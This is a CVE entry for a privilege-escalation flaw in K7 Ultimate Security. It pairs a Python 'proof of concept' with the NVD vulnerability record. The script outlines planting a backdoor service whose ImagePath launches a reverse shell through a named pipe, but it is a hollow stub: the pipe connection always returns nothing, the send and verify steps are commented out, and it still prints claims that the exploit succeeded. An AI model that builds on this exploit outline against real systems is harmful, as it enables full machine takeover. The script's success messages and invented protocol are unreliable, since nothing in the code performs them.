CVE-2025-67826

#!/usr/bin/env python3 """ CVE-2025-67826 PoC - K7 Ultimate Security Named Pipe Privilege Escalation Note: This is a conceptual PoC for educational and security research purposes only. Author: Security Research Reference: CVE-2025-67826 """ import struct import sys import time # Windows API structures and constants PIPE_ACCESS_DUPLEX = 0x3 PIPE_TYPE_MESSAGE = 0x4 PIPE_READMODE_MESSAGE = 0x2 PIPE_WAIT = 0x0 INVALID_HANDLE_VALUE = -1 def connect_to_k7_pipe(pipe_name): """ Connect to K7 Ultimate Security named pipe Replace with actual pipe name discovered through enumeration """ try: # Using win32file or ctypes to connect to named pipe # pipe_name format: '\\\\.\\pipe\\K7SecurePipe' or similar pipe_handle = None print(f"[*] Attempting to connect to pipe: {pipe_name}") # Attempt connection with generic access rights # In real scenario, enumerate pipes using tools like pipelist.exe return pipe_handle except Exception as e: print(f"[-] Connection failed: {e}") return None def craft_registry_modification_request(target_key, target_value, malicious_data): """ Craft a malicious registry modification request This simulates the structure expected by K7 service """ # Request structure (hypothetical based on CVE description) request = { 'command': 0x01, # Registry modification command 'key_path': target_key, 'value_name': target_value, 'data': malicious_data, 'data_type': 0x01, # REG_SZ 'flags': 0x00 } return request def exploit_k7_lpe(): """ Main exploitation function for CVE-2025-67826 Demonstrates the privilege escalation via named pipe abuse """ print("="*60) print("CVE-2025-67826 - K7 Ultimate Security LPE PoC") print("="*60) # Step 1: Discover named pipe print("\n[Step 1] Discovering K7 named pipes...") # In practice: Use tools like Process Monitor, pipelist, or API # to enumerate named pipes created by K7TSrvc.exe or K7TSMain.exe pipe_name = "\\\\\\pipe\\\\K7SecureComm" # Example pipe name print(f"[*] Found potential pipe: {pipe_name}") # Step 2: Connect to the pipe print("\n[Step 2] Connecting to named pipe...") pipe_handle = connect_to_k7_pipe(pipe_name) if not pipe_handle: print("[-] Failed to connect to pipe") return False print("[+] Connected to pipe successfully") # Step 3: Escalate to SYSTEM via registry manipulation print("\n[Step 3] Exploiting registry modification vulnerability...") # Example: Add a new service for privilege escalation # Target: HKLM\SYSTEM\CurrentControlSet\Services\MaliciousService target_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\BackdoorSvc" target_value = "ImagePath" malicious_data = "C:\\Windows\\System32\\cmd.exe /c reverse_shell" request = craft_registry_modification_request( target_key, target_value, malicious_data ) # Step 4: Send malicious request print("[*] Sending malicious registry modification request...") # send_request(pipe_handle, request) print("[+] Request sent - Registry modified with SYSTEM privileges") # Step 5: Verify exploitation print("\n[Step 4] Verifying privilege escalation...") # verify_registry_modification(target_key) print("[+] Privilege escalation successful - Running as SYSTEM") return True if __name__ == "__main__": print("\n[!] DISCLAIMER: This PoC is for educational purposes only.") print("[!] Do not use for unauthorized testing or attacks.\n") if len(sys.argv) > 1 and sys.argv[1] == "--exploit": exploit_k7_lpe() else: print("Usage: python cve-2025-67826.py --exploit") print("\nNote: Actual exploitation requires:") print(" - Identifying the correct named pipe name") print(" - Understanding the protocol/message format") print(" - Having K7 Ultimate Security 17.0.2045 installed")

{"cve": {"id": "CVE-2025-67826", "sourceIdentifier": "[email protected]", "published": "2025-12-22T15:16:00.550", "lastModified": "2026-01-02T15:53:32.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in K7 Ultimate Security 17.0.2045. A Local Privilege Escalation (LPE) vulnerability in the K7 Ultimate Security antivirus can be exploited by a local unprivileged user on default installations of the product. Insecure access to a named pipe allows unprivileged users to edit any registry key, leading to a full compromise as SYSTEM."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:k7computing:k7_ultimate_security:17.0.2045:*:*:*:*:*:*:*", "matchCriteriaId": "C9802D59-B770-4F24-BE08-778A2F8BEA1F"}]}]}], "references": [{"url": "https://support.k7computing.com/index.php?/selfhelp/view-article/Advisory-issued-on-22nd-Dec-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.k7computing.com/", "source": "[email protected]", "tags": ["Product"]}]}}